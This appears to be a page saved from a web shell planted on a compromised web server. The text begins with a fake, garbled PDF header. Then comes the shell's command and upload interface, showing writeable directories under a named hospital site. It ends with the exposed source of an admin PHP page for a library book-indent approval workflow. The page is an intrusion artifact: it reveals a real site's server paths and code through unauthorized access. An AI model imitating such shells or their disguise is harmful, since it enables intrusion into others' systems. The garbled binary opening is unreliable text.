%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/application/views_new/admin_old/indent/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/application/views_new/admin_old/indent/detail.php
<!-- <link href="<?=base_url('assests/plugins/x-editable/dist/bootstrap3-editable/js/bootstrap-editable.min.js')?>"></link> -->

<div id="page-head">
<a href="#" class="back-indent"><span><?=$this->session->userdata('elib_role');?></span><span><i class="fa fa-angle-double-right" aria-hidden="true"></i></span> <span>Indent Details </span></a>
     <a href="<?=base_url('admin/indent')?>" class="add-indent1"> VIEW ALL</a>
</div>

<div class="add-form-indent">
<div id="content-wrapper">
      
    
<div class="admin-container">   
     
              
    
        <div class="row">
        	<div class="col-md-8">
            <div class="card-body2">
            	<div class="indent-detail">
                	<h2><?=$indentArray['title']?></h2>
                    
                    <div class="student-detail-table">
            <table>
            <input type="hidden" id="indentId" value="<?=$indentArray['id']?>">
                <tr>
                	<td width="30%" valign="top">Indent Number</td>
                    <td valign="top"><?=$indentArray['indentNumber']?> </td>
                     
                </tr>
                <tr>
                	<td width="30%" valign="top">School Name</td>
                    <td valign="top"><?=$schoolArray[$indentArray['school_id']]['school_name']?> </td>
                     
                </tr>
                <tr>
                	<td width="30%" valign="top">Department Name</td>
                    <td valign="top"><?=$departmentArray[$indentArray['department_id']]['name']?> </td>
                     
                </tr>
                 <tr>
                	<td width="30%" valign="top">Book Title</td>
                    <td valign="top"><?=$indentArray['title']?> </td>
                     
                </tr>
                <tr>
                	<td valign="top">Book Description</td>
                    <td valign="top">
                    <?=html_entity_decode($indentArray['description'])?> 
                    </td>
                      
                </tr>
                <tr>
                	<td valign="top">Created Date</td>
                    <td valign="top"><?=date('d M, Y H:i:s',strtotime($indentArray['createdon']))?> </td>
                      
                </tr>
                <tr>
                	<td width="30%" valign="top">ISBN</td>
                    <td valign="top"><?=$indentArray['isbn']?> </td>
                     
                </tr>
                <tr>
                	<td width="30%" valign="top">Author</td>
                    <td valign="top"><?=$indentArray['author']?> </td>
                     
                </tr>
                <tr>
                	<td width="30%" valign="top">Book available in KOHA</td>
                    <td valign="top"><?=$indentArray['isBookAvailable']=="1"?"Yes":"No" ?> </td>
                     
                </tr>
               <?php if($indentArray['isBookAvailable'] =="1"){?>
                <tr>
                	<td width="30%" valign="top">No. of Books Available</td>
                    <td valign="top"><?=$indentArray['noBooksAvailable']?> </td>
                     
                </tr>
                <?php }?>
                <tr>
                	<td width="30%" valign="top">Single Book Cost(in INR)</td>
                    <td valign="top"><i class="fa fa-inr"></i> <?=$indentArray['singleBookCost']?> </td>
                     
                </tr>
                <tr>
                	<td width="30%" valign="top">No. of Books Required</td>
                    <td valign="top"><?=$indentArray['noOfBooks']?> </td>
                     
                </tr>
                <tr>
                	<td width="30%" valign="top">Total Cost(in INR)</td>
                    <td valign="top"><i class="fa fa-inr"></i> <?=$indentArray['totalCost']?> </td>
                     
                </tr>
                <!-- <?//=$this->session->userdata('elib_role');?>  -->
                  </table>
        </div>
             <?php //if($this->session->userdata('elib_role_id') == 1 || $this->session->userdata('elib_role_id')>2){?>
				<!--<a href="#" class="button2" onclick="approveIndent()">Approve</a>
                <a href="#" class="button3">Reject</a>-->
                <?php //} ?>
                </div>
                
            </div>
            </div>
            <div class="col-md-4">
            	<div class="indent-timeline">
                	<h2>Timeline</h2>
                    <ul class="timetable-des">
                        <div id="commentContainer"></div>
                    	<!-- <li class="timeline-11">
                        	<span></span>
                            Indent Created
                            <strong><?=date('d M, Y, H:i:s',strtotime($indentArray['createdon']))?></strong>
                        </li>
                       
                         <li class="timeline-11">
                        	<span></span>
                            Indent needs to be approved by Dean. 

                            <strong><?=date('d M, Y, H:i:s',strtotime($indentArray['createdon']))?></strong>
                            <!-- <a href="#" id="comment" data-type="textarea" data-pk="1" data-placeholder="Your comments here..." data-title="Enter comments" class="aprove-indent"><i class="fa fa-check" aria-hidden="true"></i></a> -->
                            <!--<a href="#" onclick="return approveIndent(1,this)" class="aprove-indent"><i class="fa fa-check" aria-hidden="true"></i></a>
                            <a href="#" onclick="$('#commentdiv').show()" class="reject-indent"><i class="fa fa-times" aria-hidden="true"></i></a>
                            <br/>
                            <div class="coments" id="commentdiv" style="display:none;">
                                 <textarea placeholder="Add comment..." class="form-control" name="comment" id="comment" cols="3" rows="3"></textarea>
                                 <a href="#" onclick="return approveIndent(2,this)" class="submit-indent">Submit</a>
                                 <a href="#" onclick="$('#commentdiv').hide()" class="cencil-indent">Cancel</a>
                            </div> -->
                            <!-- <div class="coments" id="commentdiv_2" style="display:none;">
                                 <textarea placeholder="Enter your comments..." class="form-control" name="comment" id="comment" cols="3" rows="3"></textarea>
                                 <a href="#" onclick="return approveIndent(2,this)" class="submit-indent">Submit</a>
                                 <a href="#" onclick="$('#commentdiv').hide()" class="cencil-indent">Cancel</a>
                            </div> -->
                        <!-- </li> -->
                        <!-- <li class="timeline-12">
                        	<span></span>
                            neque porttitor malesuada id eu lectus. Nam vitae egestas nibh. Suspendisse non massa vitae nibh fringilla dignissim id non massa.

                            <strong>12 June</strong>
                            <!-- <div class="coments" id="comments">
                                 <textarea class="form-control" name="" id="" cols="3" rows="3"></textarea>
                                 <a href="#" class="submit-indent">Submit</a>
                                 <a href="#" class="cencil-indent">Cancel</a>
                            </div> -->
                            
                            
                        <!-- </li>
                        <li  class="timeline-13">
                        	<span></span>
                            neque porttitor malesuada id eu lectus. Nam vitae egestas nibh. 

                            <strong>12 June</strong>
                        </li>
                        <li  class="timeline-13">
                        	<span></span>
                            neque porttitor malesuada id eu lectus. Nam vitae egestas nibh. Suspendisse non massa vitae nibh fringilla dignissim id non massa.

                            <strong>12 June</strong>
                        </li> 
                        <li  class="timeline-13">
                        	<span></span>
                            neque porttitor malesuada id eu lectus. Nam vitae egestas nibh. 

                            <strong>12 June</strong>
                        </li>
                        <li  class="timeline-13">
                        	<span></span>
                            neque porttitor malesuada id eu lectus. Nam vitae egestas nibh. Suspendisse non massa vitae nibh fringilla dignissim id non massa.

                            <strong>12 June</strong>
                        </li>  -->
                          </ul>	
                         <?php //if($this->session->userdata('elib_role_id') == 1 || $this->session->userdata('elib_role_id')>2){?>
                        <!-- <div id="commentContainer"></div> -->
                        <?php //}?>
                  
                    <?php //if($this->session->userdata('elib_role_id')==1 || $this->session->userdata('elib_role_id')>2){?>
                    <!-- <a href="#" class="button2" onclick="addComment()">Add Comment</a> -->
                   <!-- <button class="button2" onclick="$('#commentdiv').show();">Add Comment</button>-->
                    <?php //}?>
                    <!-- <div id="commentdiv" style="display:none;">
                        <input type="text" id="comment" name="comment" placeholder="Enter comments here...">
                        <a id="checkcomment" name="checkcomment" style="cursor:pointer"><i class="fa fa-check"></i></a>
                    </div> -->
                </div>
                
            </div>
            
        </div>
        
    </div> 
     
</div>

</div>
<!-- <script src="<?=base_url('assests/plugins/x-editable/dist/bootstrap3-editable/js/bootstrap-editable.min.js')?>"></script> -->

<!-- <script src="<?php echo base_url(); ?>assets/js/jquery-3.0.0.js"></script> -->
<script type='text/javascript'>
	// baseURL variable
	var baseURL= "<?php echo base_url();?>";
	$(document).ready(function(){
        //$.fn.editable.defaults.mode = 'inline';
        getComments();
		$('#school_id').change(function(){
			var school_id = $(this).val();
			$.ajax({
					url:'<?= base_url('admin/manageusers/getajaxrecord') ?>',
					method: 'post',
					data: {school_id: school_id},
					dataType: 'json',
					success: function(response){
						// Add options
						
						$('#department_id').html('');
						$('#department_id').append($('<option>').text(' -- Select Department -- ').attr('value', ''));
						$.each(response,function(i,value){
							$('#department_id').append($('<option>').text(value).attr('value', i));
							
						});
					}
				});
		});	
        // $('#checkcomment').click(function(){
        //     var indentId = $('#indentId').val();
        //     var comment = $('#comment').val();
		// 	$.ajax({
		// 			url:'<?= base_url('admin/indent/addComment') ?>',
		// 			method: 'post',
		// 			data: {indentId: indentId,comment:comment},
		// 			dataType: 'json',
		// 			success: function(response){
        //                 $('#commentdiv').hide();
		// 				// Add options
		// 				getComments();
		// 				// $('#department_id').html('');
		// 				// $('#department_id').append($('<option>').text(' -- Select Department -- ').attr('value', ''));
		// 				// $.each(response,function(i,value){
		// 				// 	$('#department_id').append($('<option>').text(value).attr('value', i));
							
		// 				// });
		// 			}
		// 		});
		// });	

        // $('#comment').editable(
        //     {
        // tpl: '<textarea maxlength="300"></textarea>',
        // showbuttons: 'bottom',
        // validate: function(value) {
        //     if ($.trim(value) == '') return 'This field is required';
        // }
        // ajaxOptions: {
        //     type: 'GET',
        //     dataType: 'json',
        // },
        // params: function(params) {
        //     console.log(params);
        // },
        // success: function(response, newValue) {
        //     console.log(response);
        //     // if (response.status) {
        //     //     //will be done when comments are populated
        //     //     //isCommented = true;
        //     //     getComments(via);
        //     // }
        //     //if(!response.success) return response.msg;
        // },
        // display: function(value, sourceData) {
        //     return true;
        // }
    // }
    // );
				
});

function approveIndent(action,id){
    var indentId = $('#indentId').val();
    var comment = $('#comment_'+id).val().trim();
    var totalCost = '<?=$indentArray['totalCost']?>';
    var title1 = '';
    var text1   = '';
    var type1 = '';
    if(comment == ''){
        $('#comment_'+id).addClass('has-error');
        $('#errorMsg_'+id).html('<p style="color:red;font-size:12px;">Comment is mandatory!</p>');
        $('#comment_'+id).focus();
        return false;
    }else{
        if(action == 1){ text1 = "You want to approve this Indent!"; type1 = "info";}else {text1 = "You want to reject this Indent!"; type1 ="warning";}
        swal({
        title: "Are you sure?",
        text: text1,
        type: type1,
        showCancelButton: true,
        // confirmButtonColor: "#DD6B55",   
        // confirmButtonText: "Yes, delete it!",   
        closeOnConfirm: false
    }, function() {
        approveDataAjax(indentId, comment,action,totalCost, function(data) {
            if (data) {
            if(action == 1){ title1 = "Indent has been approved!";}else {title1 = "Indent has been rejected!";}
                //oTable.row("#row" + id).remove().draw();
                swal({
                        title: "Success!",
                        text: title1,
                        type: "success",
                    }, function(isConfirm) {
                        if (isConfirm) {
                            window.location.reload();
                        } else {
                
                        }
                    });
            }
        });
    });
   
    }
}
function addComment(divId,id){
    //alert(id);
    $('#commentdiv_'+id).show();
    $('#comment_'+id).val('');
    $('#errorMsg_'+id).html('');
    $('#comment_'+id).removeClass('has-error');
    if(divId == 1){
        $('#rejectButton_'+id).hide();
        $('#approveButton_'+id).show();
    }else if(divId == 2){
        $('#approveButton_'+id).hide();
        $('#rejectButton_'+id).show();
    }
    $('#cancelButton_'+id).show();
    // var indentId = $('#indentId').val();
    // $.ajax({
	// 				url:'<?= base_url('admin/indent/approveIndent') ?>',
	// 				method: 'post',
	// 				data: {indentId: indentId},
	// 				dataType: 'json',
	// 				// success: function(response){
	// 				// 	// Add options
						
	// 				// 	$('#department_id').html('');
	// 				// 	$('#department_id').append($('<option>').text(' -- Select Department -- ').attr('value', ''));
	// 				// 	$.each(response,function(i,value){
	// 				// 		$('#department_id').append($('<option>').text(value).attr('value', i));
							
	// 				// 	});
	// 				// }
	// 			});
}

function cancelIndent(id){
    $('#comment_'+id).val('');
    $('#comment_'+id).removeClass('has-error');
    $('#commentdiv_'+id).hide();
    $('#approveButton_'+id).hide();
    $('#rejectButton_'+id).hide();
    $('#cancelButton_'+id).hide();
}

function getComments(){
    var indentId = $('#indentId').val();
    var user_id = '<?=$this->session->userdata('elib_adminloggedin')->id?>';
    var role_id = '<?=$this->session->userdata('elib_role_id')?>';
    $.ajax({
					url:'<?= base_url('admin/indent/getComments') ?>',
					method: 'GET',
					data: {indentId: indentId},
					dataType: 'json',
					success: function(data, status, xhr){
                       if(data.status == '200'){
                           if(data){
						    // Add options
						    //$('#commentContainer').html('');
                                var res = data.data;
                                var ac = data.action;
                                //console.log(ac);
                                //console.log(ac.actionRoleId);
                                let con   = '';
                                let count = 2;
                                let msg2  = '';
                                let tlclass = '';
                                res.forEach(function(cs) {
                                    //con += '<li class="timeline-11"><span></span>Indent Created<strong><?=date('d M, Y, H:i:s',strtotime($indentArray['createdon']))?></strong></li>' ;
                                if(ac.actionRoleId == role_id && ac.actionUserId == user_id && ac.id ==cs.id && cs.indentLevel !=9){
                                   msg2 = 'Indent needs to be approved by you';
                                }
                                else if(ac.actionRoleId == role_id && ac.actionUserId == user_id && ac.id ==cs.id && cs.indentLevel ==9){
                                   msg2 = 'Indent needs to be closed by you';
                                }
                                else{ 
                                    msg2 = getMsg(cs.indentLevel,'2'); 
                                }
                                if(cs.indentLevel == 4 ||cs.indentLevel == 6 ||cs.indentLevel == 8 ||cs.indentLevel == 10){
                                    tlclass = "timeline-14";
                                }
                                else { tlclass = "timeline-12";}
                                    con += `<li class=${tlclass}>
                                	            <span></span>
                                                 ${getMsg(cs.indentLevel,'1')}
                                                <strong>${cs.comment_date}</strong>`;
                                    if(cs.indentLevel != 1){            
                                    con +=  `<small>${cs.comment}</small>`;}
                                    con +=  `<!-- <div class="coments" id="comments">
                                                    <textarea class="form-control" name="" id="" cols="3" rows="3"></textarea>
                                                    <a href="#" class="submit-indent">Submit</a>
                                                    <a href="#" class="cencil-indent">Cancel</a>
                                                </div> -->
                                            </li>
                                            <li class="timeline-11">
                                                <span></span>
                                                 ${msg2}
                                                <strong>${cs.comment_date}</strong>`;
                                if(ac.actionRoleId == role_id && ac.actionUserId == user_id && ac.id ==cs.id){
                                    con +=  `<!-- <a href="#" id="comment" data-type="textarea" data-pk="1" data-placeholder="Your comments here..." data-title="Enter comments" class="aprove-indent"><i class="fa fa-check" aria-hidden="true"></i></a> -->
                                                <a href="#" onclick="return addComment(1,${cs.id})" class="aprove-indent" title="Approve"><i class="fa fa-check" aria-hidden="true"></i></a>`;
                                    if(cs.indentLevel!=9){
                                    con +=      `<a href="#" onclick="return addComment(2,${cs.id})" class="reject-indent" title="Reject"><i class="fa fa-times" aria-hidden="true"></i></a>`;
                                    }
                                    con +=        `<br/>
                                                <div class="coments">
                                                <div id="commentdiv_${cs.id}" style="display:none;">
                                                    <textarea placeholder="Add comment..." class="form-control" name="comment" id="comment_${cs.id}" cols="3" rows="3"></textarea>
                                                    <div id="errorMsg_${cs.id}"></div>
                                                </div>
                                                <!--<div id="submitdiv">-->
                                                   <a href="#" id="approveButton_${cs.id}" style="display:none;" onclick="return approveIndent(1,${cs.id})" class="submit-indent">Submit</a>
                                                   <a href="#" id="rejectButton_${cs.id}" style="display:none;" onclick="return approveIndent(2,${cs.id})" class="submit-indent">Reject</a>
                                                <!--</div>-->
                                                <a href="#" id="cancelButton_${cs.id}" onclick="cancelIndent(${cs.id})" style="display:none;" class="cencil-indent">Cancel</a>
                                                </div>
                                                <!-- <div class="coments" id="commentdiv_2" style="display:none;">
                                                    <textarea placeholder="Enter your comments..." class="form-control" name="comment" id="comment" cols="3" rows="3"></textarea>
                                                    <a href="#" onclick="return approveIndent(2,this)" class="submit-indent">Submit</a>
                                                    <a href="#" onclick="$('#commentdiv').hide()" class="cencil-indent">Cancel</a>
                                                </div> -->`;
                                    }
                                    con +=  `</li>`;   
                                });
                                    
                        
                        // response.forEach(function(cs){                        
                        //   con += `<li><span>${count++}</span>${cs.comment}<strong>${cs.createdon}</strong></li>`;
                        // });
                        $('#commentContainer').html(con);
                        }
                    }
                        // $('#department_id').html('');
						// $('#department_id').append($('<option>').text(' -- Select Department -- ').attr('value', ''));
						// $.each(response,function(i,value){
						// 	$('#department_id').append($('<option>').text(value).attr('value', i));
							
						// });
					}
				});
}


function getMsg(id,msg){
    //var msg = [];
    var msg1 = '';
    var msg2 = '';
    switch (parseInt(id)) {
        case 1:
            msg1 = 'Indent created';
            msg2 = 'Indent sent to Dean for approval';
            break;
        case 2:      //totalCost is below 25000.00
            msg1 = 'Indent approved by Dean';
            msg2 = 'Indent sent to Librarian for approval';
            break;
        case 3:     //totalCost is above 25000.00
            msg1 = 'Indent approved by Dean';
            msg2 = 'Indent sent to VC for approval';
            break;
        case 4:      
            msg1 = 'Indent rejected by Dean';
            msg2 = 'Indent closed';
            break;
        case 5:    //totalCost is above 25000.00
            msg1 = 'Indent approved by VC';
            msg2 = 'Indent sent to Librarian for approval';
            break;
        case 6:    //totalCost is above 25000.00
            msg1 = 'Indent rejected by VC';
            msg2 = 'Indent closed';
            break;
        case 7:
            msg1 = 'Indent approved by Librarian';
            msg2 = 'Indent sent to Store for approval';
            break;
        case 8:
            msg1 = 'Indent rejected by Librarian';
            msg2 = 'Indent closed';
            break;
        case 9:
            msg1 = 'Indent approved by Store';
            msg2 = 'Indent sent to Librarian for closure';
            break;
        case 10:
            msg1 = 'Indent rejected by Store';
            msg2 = 'Indent closed';
            break;
        case 11:
            msg1 = 'Indent closed by Librarian';
            msg2 = 'Indent closed';
            break;
        default:
            msg1 = 'Indent created';
            msg2 = 'Indent sent to Dean for approval';
        }
    if(msg == '1'){    
       return msg1;
    } else { return msg2;}
}

function approveDataAjax(indentId,comment,action,totalCost,callback){
    $.ajax({
					url:'<?= base_url('admin/indent/approveIndent') ?>',
					method: 'post',
					data: {indentId: indentId,comment:comment,action:action,totalCost:totalCost},
					dataType: 'json',
					success: function(response){
                        console.log(response);
						// Add options
                        if (response.status == "200") {
                            //if (data.status) {
                                return callback(response);
                            //}
                        } else {
                                alert("Approve Failed");
                        }
                    }
                    // error: function(jqXhr, textStatus, errorMessage) {
                    //             console.log('Error' + errorMessage);
                    //             console.log(jqXhr.responseJSON.message);
                    //             return callback(false);
                    // }
	});
}
</script>

Kontol Shell Bypass